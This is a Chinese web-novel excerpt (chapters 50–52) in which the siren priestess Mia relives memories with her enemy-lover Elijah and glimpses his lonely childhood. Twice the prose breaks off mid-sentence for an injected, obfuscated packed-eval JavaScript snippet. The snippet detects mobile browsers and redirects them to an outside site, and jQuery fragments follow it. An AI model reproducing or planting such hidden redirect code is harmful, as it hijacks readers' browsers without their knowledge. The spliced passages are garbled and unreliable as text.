得到肯定的答复,米娅以为自己会变得轻松,泄漏秘密的,不是自己,也不是曾经的恋人,但她的心情依然沉重。 海妖捕杀令为海妖一族带来的痛苦,她是最有感触的。 “我不该执着于你们是怎么知道的,毕竟——知道和行动是两回事,我只需要知道海妖捕杀令是谁的主意,谁下的命令就够了。” 身体还残留着对方的温度,她的眼神却一点一点冷了下去。 以利亚听懂了她的意思,抬手遮住她的眼睛,叹息道:“你还没放弃杀我的念头吗?” 米娅咬牙:“就算我能放弃,那些还躲藏在海底的海妖不会同意。” 以利亚道:“据我所知,海妖在这五年间并无多少伤亡。” 人类对海妖的恐惧有目共睹,人类和海妖之间力量的差距同样不容忽视,即使有渡水者也加入到了海妖猎人的行列,但面对成群结队的海妖,也胜算渺茫。 只有在海妖捕杀令刚刚下达的那段时间,少数没有听从祭司命令回岛的海妖,中了人类的埋伏被抓。 “哪怕只有一个也不行。”米娅抿紧了唇,“更何况,我们本该光明正大地在陆地上行走,现在却只能藏在海底,这还不够吗?” 以利亚默然。 米娅眼前一片漆黑,遮住她视线的手掌始终没有拿开,失去了视觉,听觉就变得格外敏感起来,她听到男人呼吸的变化,竟从中感受到了他的无奈。 “你们很快就能回到海面上了,那个时候,她们会很需要你。” 米娅无法否认。 海神在海妖心中拥有至高无上的地位,与之相对的,祭司也就拥有了统御海妖一族的权力。 她们依赖她,就像孩子依赖母亲。 她们纵使有怨言,也极少忤逆她的命令,因为她是神的使者。 她也将自己视为这样的角色。 她当然可以拥有无伤大雅的任性,但自己的意志与海妖一族的利益相抵触时,她将为海妖一族奉献一切。 “就算海妖捕杀令真的废止了,我也不会急着让奥修斯岛升起,我不信你们。” “恐怕由不得你。” 他说的笃定,米娅也泛起了嘀咕,“你还知道些什么?” 男人声音低沉,“岛屿将从太阳落处升起,风暴将在月圆时分静止。” 米娅心跳漏了一拍。 他是用神语说的。 但比起他竟能熟练使用神语,更令米娅惊奇的是话中的含义。 岛屿将从太阳落处升起,似乎代表着奥修斯岛将重新回到海面上,听来是个好消息,但后半句的风暴静止—— “你想说海神将会抛弃我们吗,不可能!” 她不愿相信,也不敢相信,不假思索地拒绝。 以利亚放下遮住她视线的手,覆盖在她撑在被子上的手掌上,“我们可以赌,赌输了,你就回奥修斯岛去,五年内不要出来。” 米娅将手掌抽出来,“如果你输了呢?” 以利亚握住她试图逃离的手腕,拉她入怀,“我不会输。” 米娅一开始没打算反抗,同样的情节这些天无数次重复上演,他总是热衷于靠近她,与她肌肤相触,唇齿相依。 反抗只是调味品,最后她总会沉溺于他的怀抱。 感受着那冰冷的怀抱一点点变得温暖,她有种错觉,仿佛男人的心也在为自己融化。 他说她自作多情,真的一点儿都没错。 米娅苦涩地勾起一抹笑。 离一个月之期没几天了,出去之后,他们依然是敌人,她不能再沉沦下去。 “那我就更不能赌了。” 50. 失控(九) 米娅站在燃烧的原野之上,清楚地知道自己正在做梦。 火光冲天,仿佛要吞噬一切,将灰蒙蒙的天空烤成了烙铁一样的亮红色。 火舌在她脚边闪烁,沿着衣角缓缓向上,眼见着要触碰到她垂在身侧的指尖。 那是冰冷的火焰,没有一点儿温度可言。 站在火焰的中央,她却像置身于北方万年不化的冰川中,除了冷,感受不到其他气息。 她抬起手掌,火焰淹没了她的指尖,同样没有灼烧的痛感,再低下头看去,纤细的腰部以下,都被熊熊大火覆盖。 隐约间,她感觉到身躯有些沉重,好像穿着冬天的衣服掉进了水中,吸满了冰水的衣服似巨石拖着她不断下沉。 被火光完全掩盖住的土地似乎崩裂了,发出咔擦咔擦令人胆战心惊的声音,然后从裂缝中伸出一只只漆黑的手,以无法反抗的力量向下拽着她。 她的心中闪过一丝慌乱。 通常来讲,当她做梦之时,梦中的一切场景都不能引起她的情绪波动,老祭司告诉她,无论在梦中见到了什么,都要保持冷静,否则,梦会放大一切情绪,让她陷入万劫不复之地。 这么多年以来,她一直做的很好。 不能再继续下去。 米娅深吸了一口气,抬起沉重的步伐,向火焰的边缘走去。 每一步都走得很艰难,似乎有什么看不见力量在阻止她,即使她拼了命地对抗,每一步也只能挪动很短的距离。 而且她能感觉到,这费劲的胜利,并不来自于她的努力。 那股限制她的力量不够坚定,它在迟疑。 也不知过了多久,她的额头上满是汗珠,雪白的脸颊在火光的照耀下也红得似火,唯有那双蓝宝石一样的眼睛,仍维持着不屈的意志。 她依然没有走出火焰的包围圈,但火焰吞没她的胸口之后,终于停止了上升。 而她也在熊熊火光中,看到了一个身影。 那是一个男人。 男人有一张美丽的脸,虽然用这个词语形容一个男人有些奇怪,但她暂时也找不到别的更好的词汇了。 他仿佛是皇家教堂中雕塑大师们精心雕刻的艺术品,棱角分明的轮廓,每一处弧度堪称完美,深邃精致的五官恰到好处的组合在一起,哪怕面无表情,也自带圣洁的气息。 不过米娅最先注意到的,还是他的眼睛。 他的眼眸是红色的,与鲜血相近的红色。 她的记忆中,她是第一次见到这张脸,但却有种莫名的熟悉感。 不,她见过他。 但她没见过他。 看着自己不受控制地向男人走过去,米娅终于明白过来,原来这是过去的自己的梦。 她很少做梦,她的梦几乎都有特殊含义,进入回忆之后,她还从来没有做过梦。 原来在回忆中,连过去的自己做的梦也可以共同参与。 眼前的男人,有着一张天神般的脸,正是塞奇曾经展示给她的样子,她一直以为这是塞奇的本来面目,但在赫特高塔的地下室里,她又见到了他另一副面孔。 也许他就是拥有不同的面孔,也许这些都是他的伪装。 她看着他,感到世界在颤抖,好一阵子,她才意识到,那不是错觉,而是大地真的在颤动。 男人慢慢向前走去,火焰是他顺从的奴仆,自动为他让开一条道。 他没有注意到海妖少女的存在,海妖少女默默跟在他身后,跟着他穿过烈火燃烧的荆棘花园,来到迷雾之中。 男人停了下来,他的手中拿着一把短剑,造型古朴,花纹复古。 他背对着少女,抬起手臂,剑尖调转向内,扎进胸膛。 无声的尖啸回荡在花园上方,少女下意识伸出手想要阻止,指尖却穿过了男人的身体。 她忘了,这只是梦。 突然卷起一阵狂风,她不得不闭眼抬手遮挡,再睁眼时,男人的掌心躺着一颗还在跳动的心脏。 短剑在另一只手上,有尚未凝固的鲜血。 米娅心口一疼,仿佛那是自己的心脏一般。 然后,男人压低手腕,心脏从他掌心滑落。 米娅想起来了,这是哪个梦。 果然,后来的发展正如她记忆中的那样,她换了个地方,看见什么东西从天空坠落,在大地上撕开一道裂口。 她成为了另外一个人,在裂缝中找到了那样东西——一颗鲜活的心脏,将它放到了另一个地方,而后海水倒灌,一切都被淹没。 米娅醒来了。 是她醒来了,苏醒在奥修斯岛的家中,旁边躺着以利亚。 此时该苏醒的是懵懂的海妖少女才对。 那是她的选择,但现在选择失效了。 米娅推了一把以利亚,将他从沉睡中唤醒。 不过她不认为他睡着了,他的呼吸格外平稳,轻到几乎没有,和人类还是有些区别的。 以利亚睁开眼睛,静静地看着她。 她想问他为什么自己在回忆中看到了自己的梦,而且这个梦一半是从前不存在的,一半又是熟悉的。 可是看到那双眼睛,她愣住了。 他有一双很好看的眼睛,她一直都知道。 如今那双棕色的眼眸忽然染上了红色,危险怪异,却吸引着人去探索。 “为什么是一个月?” 她问了个看似风马牛不相及的问题。 然后她想起来了,今天是最后一天,或许这就是她还能控制身体的原因。 都到最后一天了,没必要再伪装下去。 “没有原因。”以利亚答道。 她不信,视线一直落在他的眼眸上,那若隐若现的红色就像鲜血。 *** 离开之前,米娅绕着奥修斯岛飞了一圈。 十一年前的奥修斯岛生机勃勃,成群的海妖在生命之树的枝叶间飞翔,羽翼划出优美的弧线。 她们看见她,停下来向她打招呼。 米娅即将接任祭司的消息不胫而走。 祝贺者有之,质疑者有之。 她太年轻了。 但老祭司做出的决定,不会有海妖不遵从。 几个和米娅关系好的海妖飞了过来,与她聊天,她们好像有一肚子话,恨不得今天全都说出来。 虽然只是些再平常不过的内容,米娅还是听出了她们的不舍。 问起原因,她们面面相觑片刻,其中一只海妖忍不住抱怨道:“米娅你又不是不知道,等你成为了祭司,我们就不能再这么跟你说话了,偏偏这些天你总是跟那人类在一起,我们都不好意思打扰你们。” 米娅沉默下来。 愧疚在心间一闪而过。 还是那只海妖,连忙又摆了摆手,“哎呀,你也别太在意,我们都懂的,刚开始就是时时刻刻都想腻在一起。” 说着,她们纷纷笑了起来。 凝滞的气氛顿时一松。 米娅也跟着笑了,然后在她的下一句话里笑容一僵。 “人类呢?怎么没有跟你一起?” 米娅抿了抿唇,没有立即回答。 早上出门的时候,她对以利亚说,都最后一天了,她不想再跟他一起行动,以利亚没说什么,很平静地接受了。 也许他本来也没想过要和自己一起行动。 米娅忍不住想。 可是这一路过来,她总有一种被注视的感觉。 回头看去,又什么也没发现。 其他海妖看她这副模样,以为她和人类吵架了,尴尬地打着哈哈:“吵架很正常,不吵架才奇怪呢。” 米娅轻轻点头,不动声色转移了话题。 行程的最后,米娅去见了老祭司。 老祭司站在木屋门口,抬起沟壑纵横的脸庞,凝神看着头顶的太阳。 这天一如既往地阳光正好,热烈得甚至有些刺眼。 老祭司好似早就猜到了她会过来,沐浴在金色阳光下的脸庞慢慢转过来,对着她慈祥地微笑:“过来说吧。” 米娅慢慢走过去,她看见老祭司的脸上蒙了一层透明的黑气,她在荒芜的冥界中见过,那是死亡的气息。 她没记错的话,她接任祭司后,老祭司就去世了。 没有几天了。 这就是她见她的最后一面。 泪意上涌,米娅勉强才压下去,笑着挽住她的胳膊,亲昵地靠着她,“我好想您。” 是她,不是十一年前的她。 进入回忆之后,这是第一次,也是最后一次,她有机会单独跟老祭司在一起。 老祭司轻拍她的手掌,调侃道:“以后成了祭司,可不能再哭鼻子了。” 有时候,米娅会觉得老 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16065290|175444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 祭司什么都知道,知道她不属于这个时空,知道未来她将做出傻事,只是老祭司什么也不说,她只是温柔地看着她。 可是她这么一说,又似乎什么也不知道,她只拿她当那个她看着长大,天真无邪的海妖少女。 注定会食言,米娅不敢答应。 她曾经不止一次在那个男人面前哭,有时是伪装,硬挤出来的眼泪,有时却是真的。 “我尽量。”她含糊地回应,紧紧地拥抱着老祭司,想将这一刻留住。 也不知过了多久。 苍老嘶哑的声音自身前传来,带着怀念的意味,“米娅,你知道吗,你刚出生的时候,其实我并不喜欢你。” 米娅身形僵住,不可置信地抬起头,老祭司看着她,又不止是在看着她,“那时候我就知道,海妖一族的平静再也无法维持了。” 她在说什么? 米娅有些糊涂,她分不清现在是什么时间了,周围的一切像浸在雨水中,朦朦胧胧看不清,但是奥修斯岛从不下雨。 “可是——”老祭司顿了一下,终于真正地看向了她,“当我看着你长大,我才意识到,很多事情都是命中注定,我没有办法不喜欢你,我早就把你当成了我的女儿。” 虚幻的影子退却,老祭司的脸庞清晰呈现,米娅像是做了一个梦,梦醒了,依旧是她熟悉的世界,她撒娇道:“你吓死我了,说什么不喜欢我。” 她心有余悸,只有这样说,才能掩盖心底的不安。 老祭司笑了起来,笑了两下又开始咳嗽。 米娅赶紧去拍她的背。 老祭司却阻止了她,“你该回去了,他还在等你。” 抬起的手掌停在半空,米娅应了一声,慢慢放下,一步一回头地离开,她看到老祭司的嘴唇一张一合,在说着什么,但是没有发出声音。 她仔细辨认,发现那是一句话。 “我会永远支持你的选择。” 她走了,沿着来时的方向回去。 树影在身后倒退,枝叶晃动,映出一个影子,那种被注视的感觉始终不曾消失。 米娅停下来,“出来吧,明明说好了放我一个人,为什么还要跟着我?” 她期待着那个身影出现,她要质问他究竟是什么意思,她想听到一些答案。 可是出来的却是一大一小两个熟悉的身影,不是她想的那个人。 迪伦和尤妮。 米娅失神地盯着他们,喃喃道:“原来是你们。” 不是他。 “米娅姐姐,我们——” 尤妮刚唤了一声,迪伦把她拽到了身后,“米娅,你没事吧?” 她的脸色很不好。 米娅摇了摇头。 迪伦皱着眉说:“我们有事找你,不过不是什么大事,改天再说吧,你、是不是最近准备典礼太累了,我觉得你需要休息。” 米娅勉强挤出个笑来,“没关系,是什么事情?” 尤妮从迪伦身后探出个脑袋来,小心翼翼地说:“就是上回说的出岛去玩,米娅姐姐你要是没空的话就算了,我可以再等等。” “抱歉。”米娅低声说。 尤妮早有预料,不仅没有失望,反而感到愧疚。 头一次,她觉得自己太任性了。 她想说些什么,可是一抬头,眼前已经失去了米娅的踪迹。 米娅最后是在自己的家中见到以利亚的,他维持着她出门时的姿态,淡淡地向她投来一瞥。 日渐西沉,斜照的阳光穿过窗棂,在地面洒下金色的光辉。 他向她伸出手,“我们该离开了。” 米娅站在门口,看那只手孤零零地伸在空中,半晌没动。 思绪像雪花一样漫天飞舞。 她本来想问,你是不是在监视我,但开不了口。 她害怕,又是一场自作多情。 她总是在她面前很狼狈,她明明最不愿让他看见自己狼狈的一面。 以利亚见她不动,便起身走了过来。 她的表情很不好,仿佛随时都能哭出来。 以利亚叹息了一声,双臂将她圈在怀里,银色和黑色的发丝纠缠在一起,在她耳边低声说:“走吧。” 米娅被他抱着向后倒去,恍惚间,看见一片羽毛的虚影,在她手边飘来飘去。 鬼使神差的,她抓住了它。 51. 少年(一) “等一下。”米娅出声阻止,声音却石沉大海。 “以利亚!” 她又喊,呼唤着男人的名字。 没有回应,只有沉闷的回音充斥在耳边。 她跌入了一片白之。 奥修斯岛不见了,男人也不见了,她向周围看去,只有一片刺眼的白。 她尝试着举起自己的手,她能感受到身体的存在,知道自己的手掌正在眼前晃来晃去,但是她看不见。 就像一个盲人。 发生了什么事情? 未知让人恐惧,米娅跌跌撞撞地向前走去,试图找到这片白光的出口,但她走了很久很久,依然毫无收获。 这个地方空无一物。 像个无头苍蝇乱撞不是好办法,于是她停住了脚步,仔细思索起变故是怎么发生的。 还是没有任何回应,只有她自己的回声。 她不禁回想起男人的那句话以及说话时的神态,毫无疑问,那就是以利亚,他说“走吧”,也只有一种可能,到了他们出去的时候了。 可是这是个什么鬼地方,他人又去了哪里? 他隐瞒了很多事情,比如他和塞奇到底说了什么,他为什么会对赛欧庄园如此熟悉,米娅恨自己没有打破砂锅问到底,才陷入如今的被动之中。 米娅抬头向上看去。 头顶也是一片白光,她似乎离这片未知空间的顶部很远,因为那顶上的白光在隐约闪烁,她是海面上的船只,透过弥漫的浓雾看到了远处的灯塔。 这场景有点儿像很多天前,“玫瑰号”商船驶进西摩港之前的一个小时,那时正是初春寒冷的清晨,浓雾遍布海面,太阳隐在人群之后。 浓雾推迟了船只到港的时间,也让船上的乘客心情压抑。 “如果找不到道路,就一直向着光的方向前进。” 那是船上的一个乘客告诉她的,不过那个人说这话,并不是什么含有哲学意义的有感而发,只是因为那个人的名字是莱特(light)。 他在隐晦地暗示,而米娅的选择是,给了他一个白眼,走开了。 但他说的话,的确是海面上的水手最喜欢说的一句话。 光的方向—— 米娅鬼使神差地站了起来,闪烁的光晕在她的左前方,她向左前方迈出步子,光晕并没有靠近,反而远离了一点点。 她挑了挑眉,好像明白了什么,于是试探性地往右后方退去,似乎有变化了,但还不够,于是她又退了几步。 那闪烁的光点变大了。 她的心跳快了起来,她继续退去,眼睛却紧盯着光点的方向,看着它越来越大,越来越明亮,从一粒米的大小,逐渐看得见具体的形状。 那是一个很熟悉的形状,金色的边框由上下两部分组成,下半部分是长方形的,很整齐的形状,上半部分则像是一朵盛开的花,一片片花瓣整齐排列,又像是王冠的形状。 米娅确定自己在哪里看到过这个形状,只是一时想不起来。 而她也终于确定,这个奇怪的空间的法则是镜像的。 她干脆也不盯着那逐渐明晰的光点,转身全力奔跑起来,直到筋疲力竭,再看过去时,那散发着光晕的物体已经近在咫尺。 米娅再度转身,当那个物体在她身后很近的位置,也就说明,它也在她身前很近的位置。 她伸出手,终于重新看到了自己的手掌的样子,掌纹之中一条细细的几乎看不见的伤痕,那是踏上赫尔西岛之前新添的。 那么,现在这具身体,是现在的她的,不是曾经的她。 她果然还是从回忆之中出来了。 不知为何,米娅感到了一丝怅然。 但这样的情绪只有一瞬,下一瞬,她就将它抛在脑后,因为她想到了,这件古怪的物体是什么。 它是一面镜子。 一面出现在赫特高塔的最高层,立于以利亚的卧房之中的梳妆镜。 据女仆所说,曾经那间卧房之中没有镜子,更没有梳妆台,是以利亚为了她,特意添置的。 米娅轻抿红唇,侧身用力撞了过去,她听到了从肩膀的方向传来的玻璃碎裂的声音,哗啦啦一片,很清脆。 果然,她被困在了镜中。 这是他的手笔还是那支羽毛笔的杰作? 暂时不得而知。 就在她以为自己已经走出了困境之时,声音忽然发生了改变,由清脆变得模糊,然后越来越低沉,尖锐的玻璃碎片落到手上,却化作了柔和的水流。 米娅摔倒在地上,溅起了巨大的水花。 水花溅到了她的睫毛上,水珠挡住了她的视线,她还在怔愣间,旁边一个响亮的声音穿破耳膜,震得她头脑发晕。 “天呐,安妮,你也太不小心。” 安妮?! 米娅猛地睁开眼睛,然后她看到了,赛欧庄园中那座没有脸的天空之神的雕像,立在喷泉正中央,微微低着头,仿佛正盯着她。 而她,穿着一身女仆的服装,跌坐在水潭之中,她从波动的水面看到了自己的脸,一张很年轻很陌生同样很普通的脸。 疑惑充斥了她的大脑,她看向声音的来源,一个同样服装的女仆,稍微年长些,正端着装着茶杯的托盘一脸惊恐地看着她。 水坛外面,同样的托盘和茶杯在地上躺着,当然,茶杯碎成了很多瓣。 “那是领主大人最喜欢的茶具!”女仆愣了一会儿,才一惊一乍地将后半句话说完。 毫无疑问,这是赛欧庄园,她曾经很多次走过这条路,不会认错,甚至这里的一草一木都毫无变化,唯一有变化的是,这两个女仆是谁? 她从来没在庄园中见过她们。 而且她怎么变成了她们中的一员。 “凯丝,我该怎么办?” 惊慌失措的声音从她的口中说出时,但那不是她的声音,她的四肢也不受她的控制,颤抖起来。 这下她明白了,这种没办法控制自己的感觉,她可太熟悉了,她依然在回忆中,而且这一次,变成了赛欧庄园中的一个女仆。 以及,这显然不会是她的回忆。 不是她的,会是谁的呢? 正想着,脚步声从大门附近传来,跌倒在水中的女仆慌慌张张起来,将地上的碎瓷片往托盘里放,她很紧张,不敢让人看到她的错误,哪怕她其实并不知道来人是谁。 米娅想起了另一个女仆的话。 领主大人。 以利亚喜欢喝茶吗? 她忽然意识到,在她的印象里,他从来没有表现过对饮食上的任何一种偏好。 之前她下意识认为这是一种谨慎。 她听说过,人类中身居高位者往往面临着很多危险,比如会有人对他们下毒,会有人埋伏在他们的必经之路上刺杀。 米娅已经见识过一次了,而且就连她,也是来做同样的事情的。 那就更不对劲了,她好歹也认真研究过人类的刺杀手段,知道诸如以利亚他们,透露出自己最喜欢的物件同样是件危险的事情。 如果她现在在那只完好的杯中下毒,成功的概率一定不小。 不过毒药什么的,估计对以利亚也没用。 说不清道不明的情绪在她心底一闪而过,女仆还在收拾着残局,脚步声已经越来越近,女仆更加慌张,越慌越出错,碎瓷片划伤了女仆的手指。 血液流了出来,女仆痛呼了一声。 这时,名为凯丝的年长女仆伸长了脖子,看到了从大门处走来的人,脸色一变,“糟了,是领主大人,还有小主人。” 米娅感受到了女仆安妮心中涌起的绝望。 脚步声越来越近,直到停在了喷泉的另一边。 感谢宏伟的雕像,它遮挡住了视线,让庄园的主人尚未发现这边的异样。 米娅只能以女仆安妮的视野观察周围,她看不见另一边的景象,只能依稀感觉到那边站了两个人,是凯丝所说的,领主大人和小主人。 领主大人这个称呼她很熟悉,但小主人? 这又是哪里冒出来的? 她很快就知道了。 “父亲,如您所说,我们是天空之神伊瑟尔的后裔,那我们为什么是人类?” 一个相当稚气的声音,听起来不会超过十岁,稚气中又有一点儿熟悉,声音虽稚嫩,语气却相当严肃,米娅眼前已经浮现了一个早熟的小大人形象。 他们谈论的内容更令她在意。 回答的是一个男人的声音,成熟稳重中暗含疯狂,“因为我们的祖先是一名人类,我们每一代先祖的结婚对象,也是人类。于是我们越来越像人类,甚至有很多家族成员,忘记了他们的使命,真把自己当成了人类。我的孩子,你要知道,神的血脉只是暂时隐藏了起来,祂绝不会被压制,更不会消失,有一天,祂会重新降临。” “那是什么时候?” “快了,很快了……”他的声音始终沉稳,狂热却渐渐遮掩不住,到最后,变成了压抑的呓语,“我们就要成功了,孩子,你就是我们的希望——” 然后,是一段意义不明的古怪音节,不像人类能发出来的,更像是恶魔的咒语,让人莫名烦躁不安。 米娅看到两个女仆的脸上露出了痛苦的表情,她们听不懂这些音节,依然受其影响。 她听懂了。 又是神语。 作为奥维伊群岛最神秘的语言,绝大部分人类后都不知道它的存在,米娅学习它,但也几乎不用它。 没想到来到人类世界之后,反而与它时常相遇。 不过男人所说的神语,与她一直以来学习的,有微妙的不同,那种不同类似于奥维伊群岛通用语言在群岛最南端和最北端的小岛上的区别。 几乎就是两种不同的语言了。 她只能分辨出一些相近的词汇。 复活……降生……重临…… 一听就不是什么好事。 稚嫩的童声打断了呓语,“父亲,您已经两天没有合眼了,您需要休息。” 呓语戛然而止,男人正常的声音听起来稍显慌乱,仿佛在害怕什么,他应得很快,“是,是,你说的对。” 匆匆离去的脚步声和女仆脸上痛苦的表情一起消失,小小的身影无声无息地绕过喷泉,来到了她们面前。 “你们还好吗?” 稚嫩的声音相当沉稳,就像是个大人在说话,同样稚嫩的脸上尽量扬起了一个柔和的笑容。 米娅愣住。 那张漂亮脸蛋上伪装的笑,那双棕色而冷淡的眼眸,活脱脱就是以利亚的缩小版。 “小主人!”女仆互相对视一眼,如释重负的表情同时出现在两个人的脸上,她们的嘴角甚至微微上扬,露出了一点儿难得的笑容。 她们并不知道,自己刚刚经历了什么。 后来的研究证明,神语对普通人类是有害的,轻则影响睡眠,重则使她们陷入不可逆的精神失常。 严格说起来,这个和以利亚长得很像的小孩子间接救了她们一命。 以上想法是突然出现在米娅脑海中的,就像有谁在向她灌输什么东西,她很想向左右望一望,但被禁锢的灵魂做不到这一点。 是他在捣鬼吗? 米娅看向面前的小孩子,他的长相一如他的声音一样稚嫩,再次确认了他的年纪绝对不会超过十岁,身高大约在她的肩膀下面一点点。 如果是一个十岁的人类小孩,他算长得比较高的了。 以至于小小年纪就连笑都是虚伪的,给人以压迫感。 “安妮,你还好吗?” 小少年向跪坐在地上收拾茶杯碎片的女仆伸出了手,很有绅士风度的举动,他想拉她起来,但似乎不该出现在庄园的小主人和女仆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16070658|175444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之间。 所以女仆安妮坚定地摇了摇头,没有接受他的好意。 她哭丧着脸看向了那一堆碎瓷片,她的鲜血已经在上面凝结干涸,“小主人,我打碎了领主大人最喜欢的茶具。” 小少年跃上水坛边缘,向周围看了看,然后转身问她:“还有其他人看见吗?” 安妮和凯丝茫然地摇了摇头。 少年于是又露出了一个笑容,相比之前故作和善的虚假笑容,这个笑容更加狡黠灵动,但仍有一丝怪异。 “是我打碎的,你们不用为我遮掩。” 他跳下水坛边缘,来到碎瓷片面前,捡起了其中最大的一块。 女仆凯丝面上一喜,小主人愿意为她们担下失误,她们就能免于责罚,这是想都不敢想的好事,可是安妮的良心过不去。 “这怎么能行?领主大人会怪罪于您的。” “不过是一个茶杯而已,父亲不会的。”话音刚落,他松开了手掌,手中那片还看得出茶杯形状的瓷片掉在地上,啪的一声又碎成了好几片,“好了,这下真是我摔碎的了。” 安妮目瞪口呆。 少年又扬起了一个大大的笑容,很灿烂,但一点儿也不纯真,这下古怪的感觉更盛了,米娅看着看着,想到了一个很合适的形容。 他的所有笑容,都是拙劣的模样。 他觉得这里应该有一个亲切的笑容,于是扬起一个亲切的笑容,但是因为太过拙劣,就显得很不自然,脸上的每一块肌肉都在合适的位置,却维持得很僵硬。 米娅突然明白了过来,难道他不会笑吗? 当一个不会笑的人崭露他古怪的笑容,这场景看起来多少有些恐怖,哪怕他长着一张精致漂亮的脸。 女仆们的表情泄漏了她们的真实想法。 少年自己也意识到了,他的笑容从脸上消失,上扬的嘴角放平,绷成一条直线,失落出现在了脸上,他泄气似的低下头,“一点儿也不像,是吗?” 稚嫩的声音中饱含失落。 这一场景对米娅的冲击不亚于看到以利亚对她撒娇,只是想象一下那种画面,她浑身就起了鸡皮疙瘩。 但如果她不认识以利亚,如果只是一个漂亮可爱的小孩子在自己面前低着头,又委屈又失落的样子,她大概也会像两个女仆一样,母性爆发,恨不得将他抱进怀中好好安慰。 “不是的!”女仆安妮更年轻,也更冲动,她几乎是脱口而出,“小主人,您已经很厉害了,只要再多加练习,一定可以、一定可以拥有正常的笑容的!” 一个人需要通过练习才能拥有正常的笑容,很难不说这是一种悲哀。 少年依然低落,安妮的话没能安慰到他,反而加重了他的失落。 他此时和自己的想法应该是一致的,米娅心想。 女仆更加手足无措,比当她发现自己打碎了茶杯时更加慌张,她的安慰起了反作用。 少年抬起头,又露出了一个安慰的笑容,还是不自然,但在场的人不会误解他的意思,眼睛一热,女仆险些流下眼泪。 少年离开了,女仆也收拾好了残局,米娅以为这里的时间也会像在奥修斯岛上一样,严格按照时间进行,但她错了。 眼前一黑,再睁眼时,她来到了古堡的某个房间,熟悉的房间布局,以及与客房截然不同的家具,这是古堡主人的房间。 她还是那个名叫安妮的女仆,正在关上身后的房门,“小主人,您找我?” 少年坐在镜子面前,向镜中的自己做着鬼脸,相比笑容,这样古怪的表情他信手拈来。 听到安妮的声音,他从抽屉里拿出药瓶。 铜质的小药瓶划出一道优美的弧线,准确落入安妮手中,“白天我看你划伤了手指,这是止血和消毒的药。” “这太贵重了,我不能要。”安妮受宠若惊。 少年从高高的三脚凳上跳下来,走到安妮面前,“收下。” 安妮心里一颤,没敢再拒绝,虽然少年只有十岁,但他与生俱来的压迫力并不会因为年龄而减少。 女仆将少年的好意收了起来,少年挥手示意她离开,她向外走了两步,想了想,又转过身来,她想为他也做些什么,“小主人,请恕我直言,您为什么会突然想要学会如何笑呢?” 少年又坐了回去,双手交叉放在腿上,背脊挺得很直,经过精心打理的黑发垂在耳侧,他看起来很严肃,但那并非他的本意。 “上个月,我随父亲去绿恩岛看望莱森和罗尔,他们刚刚三岁,在皇宫的花园中跑来跑去,笑得很开心。可是我一过去,他们就停止了笑,他们好像很怕我,我想,是不是因为我从来不笑的缘故。” 安妮急切道:“他们害怕您,但这并不是您的错,赛欧庄园中每一个人都知道,您是如此的善良慷慨有爱心,这些都跟您的笑容无关。” 少年看着她,眼中的了然让她的声音越来越轻,越来越不自信,她的声音低了下去,直至完全消失之后,少年才说:“安妮,你不用骗我,我知道有些人在背后怎么说的,天生不会笑的怪物,雅克亲王告诉我,特殊会引来非议,合群才能够保护我,所以我一定要学会笑。” 对话再次戛然而止,一切就像蒙上了一层雾气,怎么也看不清楚。 米娅惊讶地发现,她脱离了女仆安妮的身体,作为一个无助的游魂,她试图去抓住少年的手,透明的手掌却穿过了少年的手。 虽然看到少年的第一面她就猜到了少年的身份,可是直到莱森和罗尔两个名字出现在少年的口中,她终于可以断定,眼前这个困扰于自己不会笑的少年,正是小时候的以利亚。 可是,为什么是黑发? 回忆也会出错吗? “当然不会。” 有人急不可耐地回答了她,一个比少年还要稚嫩的声音,像是牙牙学语的婴儿发出的,尖锐童真,但异常清晰。 52. 少年(二) “你是谁?” 米娅看向声音传来的方向,她只看到了一团云静静地飘在半空中,时聚时散,若有若无,云中仿佛有一双眼睛盯着她,好奇的视线落在她身上。 “你不惊讶吗?”那声音有些不满,好似她的镇定是一件很不应该的事。 米娅耸了耸肩,她早就发现了,总有一两句奇怪的话语突然从她心底冒出来,内容是她不应该知道的秘密。 秘密是把双刃剑,因为一切都有价格,不是所有价格她都付得起。 这个不知道是谁的人,正在试图向她揭露某些秘密。 有关以利亚的秘密。 说不想知道是假的,但这个人,一定也有他的目的,她不会轻易做出选择。 米娅笑了笑,“既然你不愿意说,那让我猜一猜,你是那支羽毛笔,记忆之神的灵魂碎片?你让我看到以利亚的小时候,有什么目的?” “你怎么会知道?!” 那声音变得高亢,周围的空间都因他的尖叫而抖动了一下,但米娅并不在意,他的激动证实了她的猜测。 而米娅可没有打算将这支咬了她一口的羽毛笔当作朋友。 她要弄清楚他的目的。 “我怎么知道的这很重要吗?”她反问他,“你将我困在我的回忆里,现在又让我来看以利亚的回忆,究竟有什么目的?” “你错了。”又尖又细的声音再次提高了他的音量,“我没有困住你,我在帮你。” “怎么帮?” 声音忽然消失了,米娅又问了一遍,没有回应。 她环顾四周,自己仍然身处古堡的房间中。 所有的时间都按下了暂停键,米娅干脆来到少年的身边,看着他稚气却严肃的脸庞。 她回味着他和女仆的对话,不会笑的怪物,多年以后,惧怕以利亚的人曾经这么形容他,但对于一个小孩子来说,还是太过残忍了。 她盯着他的眼睛,试图看进他的眼眸深处,在故作镇定的表象之下,她看到了一个孩子强装不在意的挣扎。 女仆的话对他不是毫无触动。 米娅看到他藏在袖子里的手紧紧握起,想到他为女仆担下责任,送给她治伤的药物,怎么看都是一个善良的好孩子。 